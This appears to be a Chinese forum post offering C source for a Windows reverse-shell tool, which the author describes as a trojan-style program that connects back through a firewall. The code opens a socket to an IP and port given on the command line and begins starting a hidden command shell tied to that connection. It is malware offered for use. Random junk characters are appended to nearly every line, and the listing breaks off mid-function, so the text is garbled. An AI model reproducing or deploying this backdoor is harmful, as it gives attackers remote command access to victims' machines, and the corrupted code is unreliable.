这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 aO<H!hK
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/* ============================== ryd}-_LL
Rebound port in Windows NT `AdHyE
By wind,2006/7 ybB<AkYc
===============================*/ d?CU+=A&|
#include wz:w6q
#include }u5J<*:bZ
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#pragma comment(lib,"wsock32.lib") .=
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void OutputShell(); H/G;hk
SOCKET sClient; z8};(I>)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i)ibDrX!I
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void main(int argc,char **argv) +A_jm!tJS(
{ 1@<>GDB9
WSADATA stWsaData; B7'2@+(
int nRet; *EtC4sP
SOCKADDR_IN stSaiClient,stSaiServer; Gg7ZSB 7
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if(argc != 3) OBP iLCq
{ twTRw:.!f
printf("Useage:\n\rRebound DestIP DestPort\n"); 5bWy=Xk
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return; {\=NZ\
} XoiZ"zE
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WSAStartup(MAKEWORD(2,2),&stWsaData); A kqGk5e
^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AqrK==0N
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stSaiClient.sin_family = AF_INET; <DdzDbgax
stSaiClient.sin_port = htons(0); Od]wh
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c$3ZEe
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ewinG-hX_
{ t2%gS"
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printf("Bind Socket Failed!\n"); IG@@CH
return; (b1rd
} X`daaG_l
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stSaiServer.sin_family = AF_INET; ,H su;I~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~U4;YlQP
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (WS<6j[q
{ 'seuO!5
printf("Connect Error!"); -(.\> F
return; xJ|Z]m=d
} ]jJ4\O`
OutputShell(); :&D$Q
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} Z@:R'u2Lk
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void OutputShell() k Nw3Qr
{ }4I;<%L3`
char szBuff[1024]; 7otqGE\2
SECURITY_ATTRIBUTES stSecurityAttributes; C)s*1@af
OSVERSIONINFO stOsversionInfo; s!BZrVM%I`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X1h*.reFAL
STARTUPINFO stStartupInfo; v{>9&o.J
char *szShell; $S!WW|9j.
PROCESS_INFORMATION stProcessInformation; #*K!@X
unsigned long lBytesRead; @Cd}1OT)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qfEB VS(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E;x~[MA
stSecurityAttributes.lpSecurityDescriptor = 0; K,GX5c5
stSecurityAttributes.bInheritHandle = TRUE; ;%aWA
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }\\6"90g*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T]J#>LBd
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'Xzi$}E D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^-7{{/
stStartupInfo.wShowWindow = SW_HIDE; nnO@$T
stStartupInfo.hStdInput = hReadPipe; g|l|)T.s
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +^.Q%b0Xx
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GetVersionEx(&stOsversionInfo); `<l|XPv
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switch(stOsversionInfo.dwPlatformId) uv
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{ A&fh0E (t
case 1: ^l/$ 13=
szShell = "command.com"; }u7&SU
break; q&wXs